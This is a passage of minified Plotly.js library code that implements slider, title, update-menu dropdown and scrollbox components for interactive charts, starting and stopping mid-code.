r.autoMarginIdRoot+_._index}function y(_,F){for(var O=_[r.name],z=[],N=0;N<O.length;N++){var G=O[N];G.visible&&(G._gd=F,z.push(G))}return z}function c(_){return _._index}function b(_,F){var O=L.tester.selectAll("g."+r.labelGroupClass).data(F._visibleSteps);O.enter().append("g").classed(r.labelGroupClass,!0);var z=0,N=0;O.each(function(Q){var ie=M.select(this),j=T(ie,{step:Q},F),K=j.node();if(K){var oe=L.bBox(K);N=Math.max(N,oe.height),z=Math.max(z,oe.width)}}),O.remove();var G=F._dims={};G.inputAreaWidth=Math.max(r.railWidth,r.gripHeight);var J=_._fullLayout._size;G.lx=J.l+J.w*F.x,G.ly=J.t+J.h*(1-F.y),F.lenmode==="fraction"?G.outerLength=Math.round(J.w*F.len):G.outerLength=F.len,G.inputAreaStart=0,G.inputAreaLength=Math.round(G.outerLength-F.pad.l-F.pad.r);var q=G.inputAreaLength-2*r.stepInset,ne=q/(F._stepCount-1),fe=z+r.labelPadding;if(G.labelStride=Math.max(1,Math.ceil(fe/ne)),G.labelHeight=N,G.currentValueMaxWidth=0,G.currentValueHeight=0,G.currentValueTotalHeight=0,G.currentValueMaxLines=1,F.currentvalue.visible){var X=L.tester.append("g");O.each(function(Q){var ie=i(X,F,Q.label),j=ie.node()&&L.bBox(ie.node())||{width:0,height:0},K=g.lineCount(ie);G.currentValueMaxWidth=Math.max(G.currentValueMaxWidth,Math.ceil(j.width)),G.currentValueHeight=Math.max(G.currentValueHeight,Math.ceil(j.height)),G.currentValueMaxLines=Math.max(G.currentValueMaxLines,K)}),G.currentValueTotalHeight=G.currentValueHeight+F.currentvalue.offset,X.remove()}G.height=G.currentValueTotalHeight+r.tickOffset+F.ticklen+r.labelOffset+G.labelHeight+F.pad.t+F.pad.b;var W="left";S.isRightAnchor(F)&&(G.lx-=G.outerLength,W="right"),S.isCenterAnchor(F)&&(G.lx-=G.outerLength/2,W="center");var V="top";S.isBottomAnchor(F)&&(G.ly-=G.height,V="bottom"),S.isMiddleAnchor(F)&&(G.ly-=G.height/2,V="middle"),G.outerLength=Math.ceil(G.outerLength),G.height=Math.ceil(G.height),G.lx=Math.round(G.lx),G.ly=Math.round(G.ly);var Y={y:F.y,b:G.height*u[V],t:G.height*l[V]};F.lenmode==="fraction"?(Y.l=0,Y.xl=F.x-F.len*l[W],Y.r=0,Y.xr=F.x+F.len*u[W]):(Y.x=F.x,Y.l=G.outerLength*l[W],Y.r=G.outerLength*u[W]),P.autoMargin(_,s(F),Y)}function h(_,F,O){(O.steps[O.active]||{}).visible||(O.active=O._visibleSteps[0]._index),F.call(i,O).call(B,O).call(w,O).call(m,O).call(k,_,O).call(v,_,O);var z=O._dims;L.setTranslate(F,z.lx+O.pad.l,z.ly+O.pad.t),F.call(C,O,!1),F.call(i,O)}function i(_,F,O){if(F.currentvalue.visible){var z=F._dims,N,G;switch(F.currentvalue.xanchor){case"right":N=z.inputAreaLength-r.currentValueInset-z.currentValueMaxWidth,G="left";break;case"center":N=z.inputAreaLength*.5,G="middle";break;default:N=r.currentValueInset,G="left"}var J=S.ensureSingle(_,"text",r.labelClass,function(V){V.attr({"text-anchor":G,"data-notex":1})}),q=F.currentvalue.prefix?F.currentvalue.prefix:"";if(typeof O=="string")q+=O;else{var ne=F.steps[F.active].label,fe=F._gd._fullLayout._meta;fe&&(ne=S.templateString(ne,fe)),q+=ne}F.currentvalue.suffix&&(q+=F.currentvalue.suffix),J.call(L.font,F.currentvalue.font).text(q).call(g.convertToTspans,F._gd);var X=g.lineCount(J),W=(z.currentValueMaxLines+1-X)*F.currentvalue.font.size*a;return g.positionText(J,N,W),J}}function v(_,F,O){var z=S.ensureSingle(_,"rect",r.gripRectClass,function(N){N.call(A,F,_,O).style("pointer-events","all")});z.attr({width:r.gripWidth,height:r.gripHeight,rx:r.gripRadius,ry:r.gripRadius}).call(o.stroke,O.bordercolor).call(o.fill,O.bgcolor).style("stroke-width",O.borderwidth+"px")}function T(_,F,O){var z=S.ensureSingle(_,"text",r.labelClass,function(J){J.attr({"text-anchor":"middle","data-notex":1})}),N=F.step.label,G=O._gd._fullLayout._meta;return G&&(N=S.templateString(N,G)),z.call(L.font,O.font).text(N).call(g.convertToTspans,O._gd),z}function w(_,F){var O=S.ensureSingle(_,"g",r.labelsClass),z=F._dims,N=O.selectAll("g."+r.labelGroupClass).data(z.labelSteps);N.enter().append("g").classed(r.labelGroupClass,!0),N.exit().remove(),N.each(function(G){var J=M.select(this);J.call(T,G,F),L.setTranslate(J,x(F,G.fraction),r.tickOffset+F.ticklen+F.font.size*a+r.labelOffset+z.currentValueTotalHeight)})}function E(_,F,O,z,N){var G=Math.round(z*(O._stepCount-1)),J=O._visibleSteps[G]._index;J!==O.active&&p(_,F,O,J,!0,N)}function p(_,F,O,z,N,G){var J=O.active;O.active=z,t(_.layout,r.name,O).applyUpdate("active",z);var q=O.steps[O.active];F.call(C,O,G),F.call(i,O),_.emit("plotly_sliderchange",{slider:O,step:O.steps[O.active],interaction:N,previousActive:J}),q&&q.method&&N&&(F._nextMethod?(F._nextMethod.step=q,F._nextMethod.doCallback=N,F._nextMethod.doTransition=G):(F._nextMethod={step:q,doCallback:N,doTransition:G},F._nextMethodRaf=window.requestAnimationFrame(function(){var ne=F._nextMethod.step;ne.method&&(ne.execute&&P.executeAPICommand(_,ne.method,ne.args),F._nextMethod=null,F._nextMethodRaf=null)})))}function A(_,F,O){if(F._context.staticPlot)return;var z=O.node(),N=M.select(F);function G(){return O.data()[0]}function J(){var q=G();F.emit("plotly_sliderstart",{slider:q});var ne=O.select("."+r.gripRectClass);M.event.stopPropagation(),M.event.preventDefault(),ne.call(o.fill,q.activebgcolor);var fe=I(q,M.mouse(z)[0]);E(F,O,q,fe,!0),q._dragging=!0;function X(){var V=G(),Y=I(V,M.mouse(z)[0]);E(F,O,V,Y,!1)}N.on("mousemove",X),N.on("touchmove",X);function W(){var V=G();V._dragging=!1,ne.call(o.fill,V.bgcolor),N.on("mouseup",null),N.on("mousemove",null),N.on("touchend",null),N.on("touchmove",null),F.emit("plotly_sliderend",{slider:V,step:V.steps[V.active]})}N.on("mouseup",W),N.on("touchend",W)}_.on("mousedown",J),_.on("touchstart",J)}function m(_,F){var O=_.selectAll("rect."+r.tickRectClass).data(F._visibleSteps),z=F._dims;O.enter().append("rect").classed(r.tickRectClass,!0),O.exit().remove(),O.attr({width:F.tickwidth+"px","shape-rendering":"crispEdges"}),O.each(function(N,G){var J=G%z.labelStride===0,q=M.select(this);q.attr({height:J?F.ticklen:F.minorticklen}).call(o.fill,F.tickcolor),L.setTranslate(q,x(F,G/(F._stepCount-1))-.5*F.tickwidth,(J?r.tickOffset:r.minorTickOffset)+z.currentValueTotalHeight)})}function n(_){var F=_._dims;F.labelSteps=[];for(var O=_._stepCount,z=0;z<O;z+=F.labelStride)F.labelSteps.push({fraction:z/(O-1),step:_._visibleSteps[z]})}function C(_,F,O){for(var z=_.select("rect."+r.gripRectClass),N=0,G=0;G<F._stepCount;G++)if(F._visibleSteps[G]._index===F.active){N=G;break}var J=x(F,N/(F._stepCount-1));if(!F._invokingCommand){var q=z;O&&F.transition.duration>0&&(q=q.transition().duration(F.transition.duration).ease(F.transition.easing)),q.attr("transform",d(J-r.gripWidth*.5,F._dims.currentValueTotalHeight))}}function x(_,F){var O=_._dims;return O.inputAreaStart+r.stepInset+(O.inputAreaLength-2*r.stepInset)*Math.min(1,Math.max(0,F))}function I(_,F){var O=_._dims;return Math.min(1,Math.max(0,(F-r.stepInset-O.inputAreaStart)/(O.inputAreaLength-2*r.stepInset-2*O.inputAreaStart)))}function k(_,F,O){var z=O._dims,N=S.ensureSingle(_,"rect",r.railTouchRectClass,function(G){G.call(A,F,_,O).style("pointer-events","all")});N.attr({width:z.inputAreaLength,height:Math.max(z.inputAreaWidth,r.tickOffset+O.ticklen+z.labelHeight)}).call(o.fill,O.bgcolor).attr("opacity",0),L.setTranslate(N,0,z.currentValueTotalHeight)}function B(_,F){var O=F._dims,z=O.inputAreaLength-r.railInset*2,N=S.ensureSingle(_,"rect",r.railRectClass);N.attr({width:z,height:r.railWidth,rx:r.railRadius,ry:r.railRadius,"shape-rendering":"crispEdges"}).call(o.stroke,F.bordercolor).call(o.fill,F.bgcolor).style("stroke-width",F.borderwidth+"px"),L.setTranslate(N,r.railInset,(O.inputAreaWidth-r.railWidth)*.5+O.currentValueTotalHeight)}},23243:function(te,Z,e){var M=e(98292);te.exports={moduleType:"component",name:M.name,layoutAttributes:e(75067),supplyLayoutDefaults:e(12343),draw:e(44504)}},92998:function(te,Z,e){var M=e(39898),P=e(92770),o=e(74875),L=e(73972),S=e(71828),d=S.strTranslate,g=e(91424),t=e(7901),r=e(63893),f=e(37822),a=e(18783).OPPOSITE_SIDE,l=/ [XY][0-9]* /;function u(s,y,c){var b=c.propContainer,h=c.propName,i=c.placeholder,v=c.traceIndex,T=c.avoid||{},w=c.attributes,E=c.transform,p=c.containerGroup,A=s._fullLayout,m=1,n=!1,C=b.title,x=(C&&C.text?C.text:"").trim(),I=C&&C.font?C.font:{},k=I.family,B=I.size,_=I.color,F;h==="title.text"?F="titleText":h.indexOf("axis")!==-1?F="axisTitleText":h.indexOf("colorbar"!==-1)&&(F="colorbarTitleText");var O=s._context.edits[F];x===""?m=0:x.replace(l," % ")===i.replace(l," % ")&&(m=.2,n=!0,O||(x="")),c._meta?x=S.templateString(x,c._meta):A._meta&&(x=S.templateString(x,A._meta));var z=x||O,N;p||(p=S.ensureSingle(A._infolayer,"g","g-"+y),N=A._hColorbarMoveTitle);var G=p.selectAll("text").data(z?[0]:[]);if(G.enter().append("text"),G.text(x).attr("class",y),G.exit().remove(),!z)return p;function J(X){S.syncOrAsync([q,ne],X)}function q(X){var W;return!E&&N&&(E={}),E?(W="",E.rotate&&(W+="rotate("+[E.rotate,w.x,w.y]+")"),(E.offset||N)&&(W+=d(0,(E.offset||0)-(N||0)))):W=null,X.attr("transform",W),X.style({"font-family":k,"font-size":M.round(B,2)+"px",fill:t.rgb(_),opacity:m*t.opacity(_),"font-weight":o.fontWeight}).attr(w).call(r.convertToTspans,s),o.previousPromises(s)}function ne(X){var W=M.select(X.node().parentNode);if(T&&T.selection&&T.side&&x){W.attr("transform",null);var V=a[T.side],Y=T.side==="left"||T.side==="top"?-1:1,Q=P(T.pad)?T.pad:2,ie=g.bBox(W.node()),j={t:0,b:0,l:0,r:0},K=s._fullLayout._reservedMargin;for(var oe in K)for(var re in K[oe]){var le=K[oe][re];j[re]=Math.max(j[re],le)}var pe={left:j.l,top:j.t,right:A.width-j.r,bottom:A.height-j.b},we=T.maxShift||Y*(pe[T.side]-ie[T.side]),xe=0;if(we<0)xe=we;else{var ke=T.offsetLeft||0,_e=T.offsetTop||0;ie.left-=ke,ie.right-=ke,ie.top-=_e,ie.bottom-=_e,T.selection.each(function(){var ge=g.bBox(this);S.bBoxIntersect(ie,ge,Q)&&(xe=Math.max(xe,Y*(ge[T.side]-ie[V])+Q))}),xe=Math.min(we,xe),b._titleScoot=Math.abs(xe)}if(xe>0||we<0){var be={left:[-xe,0],right:[xe,0],top:[0,-xe],bottom:[0,xe]}[T.side];W.attr("transform",d(be[0],be[1]))}}}G.call(J);function fe(){m=0,n=!0,G.text(i).on("mouseover.opacity",function(){M.select(this).transition().duration(f.SHOW_PLACEHOLDER).style("opacity",1)}).on("mouseout.opacity",function(){M.select(this).transition().duration(f.HIDE_PLACEHOLDER).style("opacity",0)})}return O&&(x?G.on(".opacity",null):fe(),G.call(r.makeEditable,{gd:s}).on("edit",function(X){v!==void 0?L.call("_guiRestyle",s,h,X,v):L.call("_guiRelayout",s,h,X)}).on("cancel",function(){this.text(this.attr("data-unformatted")).call(J)}).on("input",function(X){this.text(X||" ").call(r.positionText,w.x,w.y)})),G.classed("js-placeholder",n),p}te.exports={draw:u}},7163:function(te,Z,e){var M=e(41940),P=e(22399),o=e(1426).extendFlat,L=e(30962).overrideAll,S=e(35025),d=e(44467).templatedArray,g=d("button",{visible:{valType:"boolean"},method:{valType:"enumerated",values:["restyle","relayout","animate","update","skip"],dflt:"restyle"},args:{valType:"info_array",freeLength:!0,items:[{valType:"any"},{valType:"any"},{valType:"any"}]},args2:{valType:"info_array",freeLength:!0,items:[{valType:"any"},{valType:"any"},{valType:"any"}]},label:{valType:"string",dflt:""},execute:{valType:"boolean",dflt:!0}});te.exports=L(d("updatemenu",{_arrayAttrRegexps:[/^updatemenus\[(0|[1-9][0-9]+)\]\.buttons/],visible:{valType:"boolean"},type:{valType:"enumerated",values:["dropdown","buttons"],dflt:"dropdown"},direction:{valType:"enumerated",values:["left","right","up","down"],dflt:"down"},active:{valType:"integer",min:-1,dflt:0},showactive:{valType:"boolean",dflt:!0},buttons:g,x:{valType:"number",min:-2,max:3,dflt:-.05},xanchor:{valType:"enumerated",values:["auto","left","center","right"],dflt:"right"},y:{valType:"number",min:-2,max:3,dflt:1},yanchor:{valType:"enumerated",values:["auto","top","middle","bottom"],dflt:"top"},pad:o(S({editType:"arraydraw"}),{}),font:M({}),bgcolor:{valType:"color"},bordercolor:{valType:"color",dflt:P.borderLine},borderwidth:{valType:"number",min:0,dflt:1,editType:"arraydraw"}}),"arraydraw","from-root")},75909:function(te){te.exports={name:"updatemenus",containerClassName:"updatemenu-container",headerGroupClassName:"updatemenu-header-group",headerClassName:"updatemenu-header",headerArrowClassName:"updatemenu-header-arrow",dropdownButtonGroupClassName:"updatemenu-dropdown-button-group",dropdownButtonClassName:"updatemenu-dropdown-button",buttonClassName:"updatemenu-button",itemRectClassName:"updatemenu-item-rect",itemTextClassName:"updatemenu-item-text",menuIndexAttrName:"updatemenu-active-index",autoMarginIdRoot:"updatemenu-",blankHeaderOpts:{label:"  "},minWidth:30,minHeight:30,textPadX:24,arrowPadX:16,rx:2,ry:2,textOffsetX:12,textOffsetY:3,arrowOffsetX:4,gapButtonHeader:5,gapButton:2,activeColor:"#F4FAFF",hoverColor:"#F4FAFF",arrowSymbol:{left:"◄",right:"►",up:"▲",down:"▼"}}},64897:function(te,Z,e){var M=e(71828),P=e(85501),o=e(7163),L=e(75909),S=L.name,d=o.buttons;te.exports=function(f,a){var l={name:S,handleItemDefaults:g};P(f,a,l)};function g(r,f,a){function l(y,c){return M.coerce(r,f,o,y,c)}var u=P(r,f,{name:"buttons",handleItemDefaults:t}),s=l("visible",u.length>0);s&&(l("active"),l("direction"),l("type"),l("showactive"),l("x"),l("y"),M.noneOrAll(r,f,["x","y"]),l("xanchor"),l("yanchor"),l("pad.t"),l("pad.r"),l("pad.b"),l("pad.l"),M.coerceFont(l,"font",a.font),l("bgcolor",a.paper_bgcolor),l("bordercolor"),l("borderwidth"))}function t(r,f){function a(u,s){return M.coerce(r,f,d,u,s)}var l=a("visible",r.method==="skip"||Array.isArray(r.args));l&&(a("method"),a("args"),a("args2"),a("label"),a("execute"))}},13689:function(te,Z,e){var M=e(39898),P=e(74875),o=e(7901),L=e(91424),S=e(71828),d=e(63893),g=e(44467).arrayEditor,t=e(18783).LINE_SPACING,r=e(75909),f=e(25849);te.exports=function(I){var k=I._fullLayout,B=S.filterVisible(k[r.name]);function _(ne){P.autoMargin(I,m(ne))}var F=k._menulayer.selectAll("g."+r.containerClassName).data(B.length>0?[0]:[]);if(F.enter().append("g").classed(r.containerClassName,!0).style("cursor","pointer"),F.exit().each(function(){M.select(this).selectAll("g."+r.headerGroupClassName).each(_)}).remove(),B.length!==0){var O=F.selectAll("g."+r.headerGroupClassName).data(B,a);O.enter().append("g").classed(r.headerGroupClassName,!0);for(var z=S.ensureSingle(F,"g",r.dropdownButtonGroupClassName,function(ne){ne.style("pointer-events","all")}),N=0;N<B.length;N++){var G=B[N];A(I,G)}var J="updatemenus"+k._uid,q=new f(I,z,J);O.enter().size()&&(z.node().parentNode.appendChild(z.node()),z.call(C)),O.exit().each(function(ne){z.call(C),_(ne)}).remove(),O.each(function(ne){var fe=M.select(this),X=ne.type==="dropdown"?z:null;P.manageCommandObserver(I,ne,ne.buttons,function(W){s(I,ne,ne.buttons[W.index],fe,X,q,W.index,!0)}),ne.type==="dropdown"?(y(I,fe,z,q,ne),u(z,ne)&&c(I,fe,z,q,ne)):c(I,fe,null,null,ne)})}};function a(x){return x._index}function l(x){return+x.attr(r.menuIndexAttrName)==-1}function u(x,I){return+x.attr(r.menuIndexAttrName)===I._index}function s(x,I,k,B,_,F,O,z){I.active=O,g(x.layout,r.name,I).applyUpdate("active",O),I.type==="buttons"?c(x,B,null,null,I):I.type==="dropdown"&&(_.attr(r.menuIndexAttrName,"-1"),y(x,B,_,F,I),z||c(x,B,_,F,I))}function y(x,I,k,B,_){var F=S.ensureSingle(I,"g",r.headerClassName,function(ne){ne.style("pointer-events","all")}),O=_._dims,z=_.active,N=_.buttons[z]||r.blankHeaderOpts,G={y:_.pad.t,yPad:0,x:_.pad.l,xPad:0,index:0},J={width:O.headerWidth,height:O.headerHeight};F.call(i,_,N,x).call(n,_,G,J);var q=S.ensureSingle(I,"text",r.headerArrowClassName,function(ne){ne.attr("text-anchor","end").call(L.font,_.font).text(r.arrowSymbol[_.direction])});q.attr({x:O.headerWidth-r.arrowOffsetX+_.pad.l,y:O.headerHeight/2+r.textOffsetY+_.pad.t}),F.on("click",function(){k.call(C,String(u(k,_)?-1:_._index)),c(x,I,k,B,_)}),F.on("mouseover",function(){F.call(E)}),F.on("mouseout",function(){F.call(p,_)}),L.setTranslate(I,O.lx,O.ly)}function c(x,I,k,B,_){k||(k=I,k.attr("pointer-events","all"));var F=!l(k)||_.type==="buttons"?_.buttons:[],O=_.type==="dropdown"?r.dropdownButtonClassName:r.buttonClassName,z=k.selectAll("g."+O).data(S.filterVisible(F)),N=z.enter().append("g").classed(O,!0),G=z.exit();_.type==="dropdown"?(N.attr("opacity","0").transition().attr("opacity","1"),G.transition().attr("opacity","0").remove()):G.remove();var J=0,q=0,ne=_._dims,fe=["up","down"].indexOf(_.direction)!==-1;_.type==="dropdown"&&(fe?q=ne.headerHeight+r.gapButtonHeader:J=ne.headerWidth+r.gapButtonHeader),_.type==="dropdown"&&_.direction==="up"&&(q=-r.gapButtonHeader+r.gapButton-ne.openHeight),_.type==="dropdown"&&_.direction==="left"&&(J=-r.gapButtonHeader+r.gapButton-ne.openWidth);var X={x:ne.lx+J+_.pad.l,y:ne.ly+q+_.pad.t,yPad:r.gapButton,xPad:r.gapButton,index:0},W={l:X.x+_.borderwidth,t:X.y+_.borderwidth};z.each(function(V,Y){var Q=M.select(this);Q.call(i,_,V,x).call(n,_,X),Q.on("click",function(){M.event.defaultPrevented||(V.execute&&(V.args2&&_.active===Y?(s(x,_,V,I,k,B,-1),P.executeAPICommand(x,V.method,V.args2)):(s(x,_,V,I,k,B,Y),P.executeAPICommand(x,V.method,V.args))),x.emit("plotly_buttonclicked",{menu:_,button:V,active:_.active}))}),Q.on("mouseover",function(){Q.call(E)}),Q.on("mouseout",function(){Q.call(p,_),z.call(w,_)})}),z.call(w,_),fe?(W.w=Math.max(ne.openWidth,ne.headerWidth),W.h=X.y-W.t):(W.w=X.x-W.l,W.h=Math.max(ne.openHeight,ne.headerHeight)),W.direction=_.direction,B&&(z.size()?b(x,I,k,B,_,W):h(B))}function b(x,I,k,B,_,F){var O=_.direction,z=O==="up"||O==="down",N=_._dims,G=_.active,J,q,ne;if(z)for(q=0,ne=0;ne<G;ne++)q+=N.heights[ne]+r.gapButton;else for(J=0,ne=0;ne<G;ne++)J+=N.widths[ne]+r.gapButton;B.enable(F,J,q),B.hbar&&B.hbar.attr("opacity","0").transition().attr("opacity","1"),B.vbar&&B.vbar.attr("opacity","0").transition().attr("opacity","1")}function h(x){var I=!!x.hbar,k=!!x.vbar;I&&x.hbar.transition().attr("opacity","0").each("end",function(){I=!1,k||x.disable()}),k&&x.vbar.transition().attr("opacity","0").each("end",function(){k=!1,I||x.disable()})}function i(x,I,k,B){x.call(v,I).call(T,I,k,B)}function v(x,I){var k=S.ensureSingle(x,"rect",r.itemRectClassName,function(B){B.attr({rx:r.rx,ry:r.ry,"shape-rendering":"crispEdges"})});k.call(o.stroke,I.bordercolor).call(o.fill,I.bgcolor).style("stroke-width",I.borderwidth+"px")}function T(x,I,k,B){var _=S.ensureSingle(x,"text",r.itemTextClassName,function(z){z.attr({"text-anchor":"start","data-notex":1})}),F=k.label,O=B._fullLayout._meta;O&&(F=S.templateString(F,O)),_.call(L.font,I.font).text(F).call(d.convertToTspans,B)}function w(x,I){var k=I.active;x.each(function(B,_){var F=M.select(this);_===k&&I.showactive&&F.select("rect."+r.itemRectClassName).call(o.fill,r.activeColor)})}function E(x){x.select("rect."+r.itemRectClassName).call(o.fill,r.hoverColor)}function p(x,I){x.select("rect."+r.itemRectClassName).call(o.fill,I.bgcolor)}function A(x,I){var k=I._dims={width1:0,height1:0,heights:[],widths:[],totalWidth:0,totalHeight:0,openWidth:0,openHeight:0,lx:0,ly:0},B=L.tester.selectAll("g."+r.dropdownButtonClassName).data(S.filterVisible(I.buttons));B.enter().append("g").classed(r.dropdownButtonClassName,!0);var _=["up","down"].indexOf(I.direction)!==-1;B.each(function(J,q){var ne=M.select(this);ne.call(i,I,J,x);var fe=ne.select("."+r.itemTextClassName),X=fe.node()&&L.bBox(fe.node()).width,W=Math.max(X+r.textPadX,r.minWidth),V=I.font.size*t,Y=d.lineCount(fe),Q=Math.max(V*Y,r.minHeight)+r.textOffsetY;Q=Math.ceil(Q),W=Math.ceil(W),k.widths[q]=W,k.heights[q]=Q,k.height1=Math.max(k.height1,Q),k.width1=Math.max(k.width1,W),_?(k.totalWidth=Math.max(k.totalWidth,W),k.openWidth=k.totalWidth,k.totalHeight+=Q+r.gapButton,k.openHeight+=Q+r.gapButton):(k.totalWidth+=W+r.gapButton,k.openWidth+=W+r.gapButton,k.totalHeight=Math.max(k.totalHeight,Q),k.openHeight=k.totalHeight)}),_?k.totalHeight-=r.gapButton:k.totalWidth-=r.gapButton,k.headerWidth=k.width1+r.arrowPadX,k.headerHeight=k.height1,I.type==="dropdown"&&(_?(k.width1+=r.arrowPadX,k.totalHeight=k.height1):k.totalWidth=k.width1,k.totalWidth+=r.arrowPadX),B.remove();var F=k.totalWidth+I.pad.l+I.pad.r,O=k.totalHeight+I.pad.t+I.pad.b,z=x._fullLayout._size;k.lx=z.l+z.w*I.x,k.ly=z.t+z.h*(1-I.y);var N="left";S.isRightAnchor(I)&&(k.lx-=F,N="right"),S.isCenterAnchor(I)&&(k.lx-=F/2,N="center");var G="top";S.isBottomAnchor(I)&&(k.ly-=O,G="bottom"),S.isMiddleAnchor(I)&&(k.ly-=O/2,G="middle"),k.totalWidth=Math.ceil(k.totalWidth),k.totalHeight=Math.ceil(k.totalHeight),k.lx=Math.round(k.lx),k.ly=Math.round(k.ly),P.autoMargin(x,m(I),{x:I.x,y:I.y,l:F*({right:1,center:.5}[N]||0),r:F*({left:1,center:.5}[N]||0),b:O*({top:1,middle:.5}[G]||0),t:O*({bottom:1,middle:.5}[G]||0)})}function m(x){return r.autoMarginIdRoot+x._index}function n(x,I,k,B){B=B||{};var _=x.select("."+r.itemRectClassName),F=x.select("."+r.itemTextClassName),O=I.borderwidth,z=k.index,N=I._dims;L.setTranslate(x,O+k.x,O+k.y);var G=["up","down"].indexOf(I.direction)!==-1,J=B.height||(G?N.heights[z]:N.height1);_.attr({x:0,y:0,width:B.width||(G?N.width1:N.widths[z]),height:J});var q=I.font.size*t,ne=d.lineCount(F),fe=(ne-1)*q/2;d.positionText(F,r.textOffsetX,J/2-fe+r.textOffsetY),G?k.y+=N.heights[z]+k.yPad:k.x+=N.widths[z]+k.xPad,k.index++}function C(x,I){x.attr(r.menuIndexAttrName,I||"-1").selectAll("g."+r.dropdownButtonClassName).remove()}},20763:function(te,Z,e){var M=e(75909);te.exports={moduleType:"component",name:M.name,layoutAttributes:e(7163),supplyLayoutDefaults:e(64897),draw:e(13689)}},25849:function(te,Z,e){te.exports=S;var M=e(39898),P=e(7901),o=e(91424),L=e(71828);function S(d,g,t){this.gd=d,this.container=g,this.id=t,this.position=null,this.translateX=null,this.translateY=null,this.hbar=null,this.vbar=null,this.bg=this.container.selectAll("rect.scrollbox-bg").data([0]),this.bg.exit().on(".drag",null).on("wheel",null).remove(),this.bg.enter().append("rect").classed("scrollbox-bg",!0).style("pointer-events","all").attr({opacity:0,x:0,y:0,width:0,height:0})}S.barWidth=2,S.barLength=20,S.barRadius=2,S.barPad=1,S.barColor="#808BA4",S.prototype.enable=function(g,t,r){var f=this.gd._fullLayout,a=f.width,l=f.height;this.position=g;var u=this.position.l,s=this.position.w,y=this.position.t,c=this.position.h,b=this.position.direction,h=b==="down",i=b==="left",v=b==="right",T=b==="up",w=s,E=c,p,A,m,n;!h&&!i&&!v&&!T&&(this.position.direction="down",h=!0);var C=h||T;C?(p=u,A=p+w,h?(m=y,n=Math.min(m+E,l),E=n-m):(n=y+E,m=Math.max(n-E,0),E=n-m)):(m=y,n=m+E,i?(A=u+w,p=Math.max(A-w,0),w=A-p):(p=u,A=Math.min(p+w,a),w=A-p)),this._box={l:p,t:m,w,h:E};var x=s>w,I=S.barLength+2*S.barPad,k=S.barWidth+2*S.barPad,B=u,_=y+c;_+k>l&&(_=l-k);var F=this.container.selectAll("rect.scrollbar-horizontal").data(x?[0]:[]);F.exit().on(".drag",null).remove(),F.enter().append("rect").classed("scrollbar-horizontal",!0).call(P.fill,S.barColor),x?(this.hbar=F.attr({rx:S.barRadius,ry:S.barRadius,x:B,y:_,width:I,height:k}),this._hbarXMin=B+I/2,this._hbarTranslateMax=w-I):(delete this.hbar,delete this._hbarXMin,delete this._hbarTranslateMax);var O=c>E,z=S.barWidth+2*S.barPad,N=S.barLength+2*S.barPad,G=u+s,J=y;G+z>a&&(G=a-z);var q=this.container.selectAll("rect.scrollbar-vertical").data(O?[0]:[]);q.exit().on(".drag",null).remove(),q.enter().append("rect").classed("scrollbar-vertical",!0).call(P.fill,S.barColor),O?(this.vbar=q.attr({rx:S.barRadius,ry:S.barRadius,x:G,y:J,width:z,height:N}),this._vbarYMin=J+N/2,this._vbarTranslateMax=E-N):(delete this.vbar,delete this._vbarYMin,delete this._vbarTranslateMax);var ne=this.id,fe=p-.5,X=O?A+z+.5:A+.5,W=m-.5,V=x?n+k+.5:n+.5,Y=f._topdefs.selectAll("#"+ne).data(x||O?[0]:[]);if(Y.exit().remove(),Y.enter().append("clipPath").attr("id",ne).append("rect"),x||O?(this._clipRect=Y.select("rect").attr({x:Math.floor(fe),y:Math.floor(W),width:Math.ceil(X)-Math.floor(fe),height:Math.ceil(V)-Math.floor(W)}),this.container.call(o.setClipUrl,ne,this.gd),this.bg.attr({x:u,y,width:s,height:c})):(this.bg.attr({width:0,height:0}),this.container.on("wheel",null).on(".drag",null).call(o.setClipUrl,null),delete this._clipRect),x||O){var Q=M.behavior.drag().on("dragstart",function(){M.event.sourceEvent.preventDefault()}).on("drag",this._onBoxDrag.bind(this));this.container.on("wheel",null).on("wheel",this._onBoxWheel.bind(this)).on(".drag",null).call(Q);var ie=M.behavior.drag().on("dragstart",function(){M.event.sourceEvent.preventDefault(),M.event.sourceEvent.stopPropagation()}).on("drag",this._onBarDrag.bind(this));x&&this.hbar.on(".drag",null).call(ie),O&&this.vbar.on(".drag",null).call(ie)}this.setTranslate(t,r)},S.prototype.disable=function(){(this.hbar||this.vbar)&&(this.bg.attr({width:0,height:0}),this.container.on("wheel",null).on(".drag",null).call(o.setClipUrl,null),delete this._clipRect),this.hbar&&(this.hbar.on(".drag",null),this.hbar.remove(),delete this.hbar,delete this._hbarXMin,delete this._hbarTranslateMax),this.vbar&&(this.vbar.on(".drag",null),this.vbar.remove(),delete this.vbar,delete this._vbarYMin,delete this._vbarTranslateMax)},S.prototype._onBoxDrag=function(){var g=this.translateX,t=this.translateY;this.hbar&&(g-=M.event.dx),this.vbar&&(t-=M.event.dy),this.setTranslate(g,t)},S.prototype._onBoxWheel=function(){var g=this.translateX,t=this.translateY;this.hbar&&(g+=M.event.deltaY),this.vbar&&(t+=M.event.deltaY),this.setTranslate(g,t)},S.prototype._onBarDrag=function(){var g=this.translateX,t=this.translateY;if(this.hbar){var r=g+this._hbarXMin,f=r+this._hbarTranslateMax,a=L.constrain(M.event.x,r,f),l=(a-r)/(f-r),u=this.position.w-this._box.w;g=l*u}if(this.vbar){var s=t+this._vbarYMin,y=s+this._vbarTranslateMax,c=L.constrain(M.event.y,s,y),b=(c-s)/(y-s),h=this.position.h-this._box.h;t=b*h}this.setTranslate(g,t)},S.prototype.setTranslate=function(g,t){var r=this.position.w-this._box.w,f=this.position.h-this._box.h;if(g=L.constrain(g||0,0,r),t=L.constrain(t||0,0,f),this.translateX=g,this.translateY=t,this.container.call(o.setTranslate,this._box.l-this.position.l-g,this._box.t-this.position.t-t),this._clipRect&&this._clipRect.attr({x:Math.floor(this.position.l+g-.5),y:Math.floor(this.position.t+t-.5)}),this.hbar){var a=g/r;this.hbar.call(o.setTranslate,g+a*this._hbarTranslateMax,t)}if(this.vbar){var l=t/f;this.vbar.call(o.setTranslate,g,t+l*this._vbarTranslateMax)}}},18783:function(te){te.exports={FROM_BL:{left:0,center:.5,right:1,bottom:0,middle:.5,top:1},FROM_TL:{left:0,center:.5,right:1,bottom:1,middle:.5,top:0},FROM_BR:{left:1,center:.5,right:0,bottom:0,middle:.5,top:1},LINE_SPACING:1.3,CAP_SHIFT:.7,MID_SHIFT:.35,OPPOSITE_SIDE:{left:"right",right:"left",top:"bottom",bottom:"top"}}},24695:function(te){te.exports={axisRefDescription:function(Z,e,M){return["If set to a",Z,"axis id (e.g. *"+Z+"* or","*"+Z+"2*), the `"+Z+"` position refers to a",Z,"coordinate. If set to 